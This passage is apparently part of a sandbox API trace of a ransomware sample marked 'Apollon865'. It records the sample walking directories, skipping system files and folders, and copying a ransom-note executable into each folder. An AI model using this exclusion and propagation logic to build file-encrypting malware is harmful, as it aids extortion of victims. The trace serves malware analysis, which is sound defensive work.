	[0054.250] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="GrooveIntlResource.dll" | out: lpString1="GrooveIntlResource.dll") returned="GrooveIntlResource.dll"
	[0054.250] lstrlenW (lpString="GrooveIntlResource.dll") returned 22
	[0054.250] lstrlenW (lpString="Apollon865") returned 10
	[0054.250] lstrcmpiW (lpString1="source.dll", lpString2="Apollon865") returned 1
	[0054.250] lstrlenW (lpString=".dll") returned 4
	[0054.250] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".dll") returned 1
	[0054.250] lstrlenW (lpString=".lnk") returned 4
	[0054.250] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".lnk") returned 1
	[0054.250] lstrlenW (lpString=".ini") returned 4
	[0054.250] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".ini") returned 1
	[0054.250] lstrlenW (lpString=".sys") returned 4
	[0054.250] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".sys") returned 1
	[0054.250] lstrlenW (lpString="GrooveIntlResource.dll") returned 22
	[0054.251] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MAPISHELLR.DLL" | out: lpString1="MAPISHELLR.DLL") returned="MAPISHELLR.DLL"
	[0054.251] lstrlenW (lpString="MAPISHELLR.DLL") returned 14
	[0054.251] lstrlenW (lpString="Apollon865") returned 10
	[0054.251] lstrcmpiW (lpString1="SHELLR.DLL", lpString2="Apollon865") returned 1
	[0054.251] lstrlenW (lpString=".dll") returned 4
	[0054.251] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".dll") returned 1
	[0054.251] lstrlenW (lpString=".lnk") returned 4
	[0054.251] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".lnk") returned 1
	[0054.251] lstrlenW (lpString=".ini") returned 4
	[0054.251] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".ini") returned 1
	[0054.251] lstrlenW (lpString=".sys") returned 4
	[0054.251] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".sys") returned 1
	[0054.251] lstrlenW (lpString="MAPISHELLR.DLL") returned 14
	[0054.251] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OCLTINT.DLL" | out: lpString1="OCLTINT.DLL") returned="OCLTINT.DLL"
	[0054.251] lstrlenW (lpString="OCLTINT.DLL") returned 11
	[0054.251] lstrlenW (lpString="Apollon865") returned 10
	[0054.251] lstrcmpiW (lpString1="CLTINT.DLL", lpString2="Apollon865") returned 1
	[0054.251] lstrlenW (lpString=".dll") returned 4
	[0054.251] lstrcmpiW (lpString1="OCLTINT.DLL", lpString2=".dll") returned 1
	[0054.251] lstrlenW (lpString=".lnk") returned 4
	[0054.251] lstrcmpiW (lpString1="OCLTINT.DLL", lpString2=".lnk") returned 1
	[0054.251] lstrlenW (lpString=".ini") returned 4
	[0054.251] lstrcmpiW (lpString1="OCLTINT.DLL", lpString2=".ini") returned 1
	[0054.251] lstrlenW (lpString=".sys") returned 4
	[0054.251] lstrcmpiW (lpString1="OCLTINT.DLL", lpString2=".sys") returned 1
	[0054.251] lstrlenW (lpString="OCLTINT.DLL") returned 11
	[0054.251] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="OWSHLP10.CHM" | out: lpString1="OWSHLP10.CHM") returned="OWSHLP10.CHM"
	[0054.251] lstrlenW (lpString="OWSHLP10.CHM") returned 12
	[0054.251] lstrlenW (lpString="Apollon865") returned 10
	[0054.252] lstrcmpiW (lpString1="SHLP10.CHM", lpString2="Apollon865") returned 1
	[0054.252] lstrlenW (lpString=".dll") returned 4
	[0054.252] lstrcmpiW (lpString1="OWSHLP10.CHM", lpString2=".dll") returned 1
	[0054.252] lstrlenW (lpString=".lnk") returned 4
	[0054.252] lstrcmpiW (lpString1="OWSHLP10.CHM", lpString2=".lnk") returned 1
	[0054.252] lstrlenW (lpString=".ini") returned 4
	[0054.252] lstrcmpiW (lpString1="OWSHLP10.CHM", lpString2=".ini") returned 1
	[0054.252] lstrlenW (lpString=".sys") returned 4
	[0054.252] lstrcmpiW (lpString1="OWSHLP10.CHM", lpString2=".sys") returned 1
	[0054.252] lstrlenW (lpString="OWSHLP10.CHM") returned 12
	[0054.252] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="STSUCRES.DLL" | out: lpString1="STSUCRES.DLL") returned="STSUCRES.DLL"
	[0054.252] lstrlenW (lpString="STSUCRES.DLL") returned 12
	[0054.252] lstrlenW (lpString="Apollon865") returned 10
	[0054.252] lstrcmpiW (lpString1="SUCRES.DLL", lpString2="Apollon865") returned 1
	[0054.252] lstrlenW (lpString=".dll") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUCRES.DLL", lpString2=".dll") returned 1
	[0054.252] lstrlenW (lpString=".lnk") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUCRES.DLL", lpString2=".lnk") returned 1
	[0054.252] lstrlenW (lpString=".ini") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUCRES.DLL", lpString2=".ini") returned 1
	[0054.252] lstrlenW (lpString=".sys") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUCRES.DLL", lpString2=".sys") returned 1
	[0054.252] lstrlenW (lpString="STSUCRES.DLL") returned 12
	[0054.252] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="STSUPLD.INTL.DLL" | out: lpString1="STSUPLD.INTL.DLL") returned="STSUPLD.INTL.DLL"
	[0054.252] lstrlenW (lpString="STSUPLD.INTL.DLL") returned 16
	[0054.252] lstrlenW (lpString="Apollon865") returned 10
	[0054.252] lstrcmpiW (lpString1="D.INTL.DLL", lpString2="Apollon865") returned 1
	[0054.252] lstrlenW (lpString=".dll") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUPLD.INTL.DLL", lpString2=".dll") returned 1
	[0054.252] lstrlenW (lpString=".lnk") returned 4
	[0054.252] lstrcmpiW (lpString1="STSUPLD.INTL.DLL", lpString2=".lnk") returned 1
	[0054.252] lstrlenW (lpString=".ini") returned 4
	[0054.253] lstrcmpiW (lpString1="STSUPLD.INTL.DLL", lpString2=".ini") returned 1
	[0054.253] lstrlenW (lpString=".sys") returned 4
	[0054.253] lstrcmpiW (lpString1="STSUPLD.INTL.DLL", lpString2=".sys") returned 1
	[0054.253] lstrlenW (lpString="STSUPLD.INTL.DLL") returned 16
	[0054.253] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="UMLVBRES.DLL" | out: lpString1="UMLVBRES.DLL") returned="UMLVBRES.DLL"
	[0054.253] lstrlenW (lpString="UMLVBRES.DLL") returned 12
	[0054.253] lstrlenW (lpString="Apollon865") returned 10
	[0054.253] lstrcmpiW (lpString1="LVBRES.DLL", lpString2="Apollon865") returned 1
	[0054.253] lstrlenW (lpString=".dll") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVBRES.DLL", lpString2=".dll") returned 1
	[0054.253] lstrlenW (lpString=".lnk") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVBRES.DLL", lpString2=".lnk") returned 1
	[0054.253] lstrlenW (lpString=".ini") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVBRES.DLL", lpString2=".ini") returned 1
	[0054.253] lstrlenW (lpString=".sys") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVBRES.DLL", lpString2=".sys") returned 1
	[0054.253] lstrlenW (lpString="UMLVBRES.DLL") returned 12
	[0054.253] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="UMLVC60R.DLL" | out: lpString1="UMLVC60R.DLL") returned="UMLVC60R.DLL"
	[0054.253] lstrlenW (lpString="UMLVC60R.DLL") returned 12
	[0054.253] lstrlenW (lpString="Apollon865") returned 10
	[0054.253] lstrcmpiW (lpString1="LVC60R.DLL", lpString2="Apollon865") returned 1
	[0054.253] lstrlenW (lpString=".dll") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVC60R.DLL", lpString2=".dll") returned 1
	[0054.253] lstrlenW (lpString=".lnk") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVC60R.DLL", lpString2=".lnk") returned 1
	[0054.253] lstrlenW (lpString=".ini") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVC60R.DLL", lpString2=".ini") returned 1
	[0054.253] lstrlenW (lpString=".sys") returned 4
	[0054.253] lstrcmpiW (lpString1="UMLVC60R.DLL", lpString2=".sys") returned 1
	[0054.253] lstrlenW (lpString="UMLVC60R.DLL") returned 12
	[0054.254] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="UMLVSUI.DLL" | out: lpString1="UMLVSUI.DLL") returned="UMLVSUI.DLL"
	[0054.254] lstrlenW (lpString="UMLVSUI.DLL") returned 11
	[0054.254] lstrlenW (lpString="Apollon865") returned 10
	[0054.254] lstrcmpiW (lpString1="MLVSUI.DLL", lpString2="Apollon865") returned 1
	[0054.254] lstrlenW (lpString=".dll") returned 4
	[0054.254] lstrcmpiW (lpString1="UMLVSUI.DLL", lpString2=".dll") returned 1
	[0054.254] lstrlenW (lpString=".lnk") returned 4
	[0054.254] lstrcmpiW (lpString1="UMLVSUI.DLL", lpString2=".lnk") returned 1
	[0054.254] lstrlenW (lpString=".ini") returned 4
	[0054.254] lstrcmpiW (lpString1="UMLVSUI.DLL", lpString2=".ini") returned 1
	[0054.254] lstrlenW (lpString=".sys") returned 4
	[0054.254] lstrcmpiW (lpString1="UMLVSUI.DLL", lpString2=".sys") returned 1
	[0054.254] lstrlenW (lpString="UMLVSUI.DLL") returned 11
	[0054.254] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="VBAOWS10.CHM" | out: lpString1="VBAOWS10.CHM") returned="VBAOWS10.CHM"
	[0054.254] lstrlenW (lpString="VBAOWS10.CHM") returned 12
	[0054.254] lstrlenW (lpString="Apollon865") returned 10
	[0054.254] lstrcmpiW (lpString1="AOWS10.CHM", lpString2="Apollon865") returned -1
	[0054.254] lstrlenW (lpString=".dll") returned 4
	[0054.254] lstrcmpiW (lpString1="VBAOWS10.CHM", lpString2=".dll") returned 1
	[0054.254] lstrlenW (lpString=".lnk") returned 4
	[0054.254] lstrcmpiW (lpString1="VBAOWS10.CHM", lpString2=".lnk") returned 1
	[0054.254] lstrlenW (lpString=".ini") returned 4
	[0054.254] lstrcmpiW (lpString1="VBAOWS10.CHM", lpString2=".ini") returned 1
	[0054.254] lstrlenW (lpString=".sys") returned 4
	[0054.254] lstrcmpiW (lpString1="VBAOWS10.CHM", lpString2=".sys") returned 1
	[0054.254] lstrlenW (lpString="VBAOWS10.CHM") returned 12
	[0054.254] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="VVIEWRES.DLL" | out: lpString1="VVIEWRES.DLL") returned="VVIEWRES.DLL"
	[0054.254] lstrlenW (lpString="VVIEWRES.DLL") returned 12
	[0054.254] lstrlenW (lpString="Apollon865") returned 10
	[0054.254] lstrcmpiW (lpString1="IEWRES.DLL", lpString2="Apollon865") returned 1
	[0054.254] lstrlenW (lpString=".dll") returned 4
	[0054.254] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".dll") returned 1
	[0054.255] lstrlenW (lpString=".lnk") returned 4
	[0054.255] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".lnk") returned 1
	[0054.255] lstrlenW (lpString=".ini") returned 4
	[0054.255] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".ini") returned 1
	[0054.255] lstrlenW (lpString=".sys") returned 4
	[0054.255] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".sys") returned 1
	[0054.255] lstrlenW (lpString="VVIEWRES.DLL") returned 12
	[0054.255] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services"
	[0054.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0054.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0054.255] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services") returned 50
	[0054.255] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services"
	[0054.255] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.255] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.260] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.260] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386880d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386880d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.260] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.260] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.260] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.260] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386880d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386880d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.260] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.260] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.260] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="Apollon865.txt.exe") returned 1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2=".") returned 1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="..") returned 1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="windows") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="bootmgr") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="temp") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="pagefile.sys") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="boot") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="ids.txt") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="ntuser.dat") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="perflogs") returned -1
	[0054.260] lstrcmpiW (lpString1="AS OLEDB", lpString2="MSBuild") returned -1
	[0054.261] lstrlenW (lpString="AS OLEDB") returned 8
	[0054.261] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\*") returned 52
	[0054.261] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AS OLEDB" | out: lpString1="AS OLEDB") returned="AS OLEDB"
	[0054.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0054.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0054.261] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0054.261] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386880d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386880d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.261] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.261] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef99d60, ftCreationTime.dwHighDateTime=0x1d52274, ftLastAccessTime.dwLowDateTime=0xaac83510, ftLastAccessTime.dwHighDateTime=0x1d4e1fd, ftLastWriteTime.dwLowDateTime=0xaac83510, ftLastWriteTime.dwHighDateTime=0x1d4e1fd, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="skatinghandhelds.exe", cAlternateFileName="SKATIN~1.EXE")) returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="Apollon865.txt.exe") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2=".") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="..") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="windows") returned -1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="bootmgr") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="temp") returned -1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="pagefile.sys") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="boot") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="ids.txt") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="ntuser.dat") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="perflogs") returned 1
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2="MSBuild") returned 1
	[0054.261] lstrlenW (lpString="skatinghandhelds.exe") returned 20
	[0054.261] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned 59
	[0054.261] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="skatinghandhelds.exe" | out: lpString1="skatinghandhelds.exe") returned="skatinghandhelds.exe"
	[0054.261] lstrlenW (lpString="skatinghandhelds.exe") returned 20
	[0054.261] lstrlenW (lpString="Apollon865") returned 10
	[0054.261] lstrcmpiW (lpString1="dhelds.exe", lpString2="Apollon865") returned 1
	[0054.261] lstrlenW (lpString=".dll") returned 4
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2=".dll") returned 1
	[0054.261] lstrlenW (lpString=".lnk") returned 4
	[0054.261] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2=".lnk") returned 1
	[0054.261] lstrlenW (lpString=".ini") returned 4
	[0054.262] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2=".ini") returned 1
	[0054.262] lstrlenW (lpString=".sys") returned 4
	[0054.262] lstrcmpiW (lpString1="skatinghandhelds.exe", lpString2=".sys") returned 1
	[0054.262] lstrlenW (lpString="skatinghandhelds.exe") returned 20
	[0054.262] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB"
	[0054.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0054.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0054.262] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned 59
	[0054.262] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB"
	[0054.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.266] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.266] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386ae230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386ae230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.266] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.266] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.266] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.266] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386ae230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386ae230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.266] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.266] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.266] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.266] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.266] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
	[0054.266] lstrcmpiW (lpString1="10", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.266] lstrcmpiW (lpString1="10", lpString2="Apollon865.txt.exe") returned -1
	[0054.266] lstrcmpiW (lpString1="10", lpString2=".") returned 1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="..") returned 1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="windows") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="bootmgr") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="temp") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="pagefile.sys") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="boot") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="ids.txt") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="ntuser.dat") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="perflogs") returned -1
	[0054.267] lstrcmpiW (lpString1="10", lpString2="MSBuild") returned -1
	[0054.267] lstrlenW (lpString="10") returned 2
	[0054.267] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*") returned 61
	[0054.267] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="10" | out: lpString1="10") returned="10"
	[0054.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0054.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0054.267] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0054.267] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386ae230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386ae230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.267] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.267] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x386ae230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x386ae230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.267] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0054.267] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0054.267] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10"
	[0054.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
